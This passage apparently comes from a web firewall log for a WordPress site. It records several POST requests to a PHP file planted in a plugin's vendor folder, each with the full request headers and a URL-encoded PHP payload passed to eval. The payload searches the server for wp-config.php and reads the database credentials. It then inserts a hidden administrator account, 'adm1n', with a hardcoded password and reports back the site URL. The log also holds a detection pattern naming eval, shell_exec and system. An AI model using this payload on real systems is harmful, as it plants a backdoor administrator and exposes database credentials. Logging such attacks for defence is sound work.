%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:12663\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\n\nKFgqXp=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-18 17:32:15","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> aReDtp:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php HTTP\/1.1\nsec-fetch-mode:navigate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncontent-length:12663\nsec-ch-ua-mobile:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Android\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nhost:dewenlabels.com\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\n\naReDtp=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%2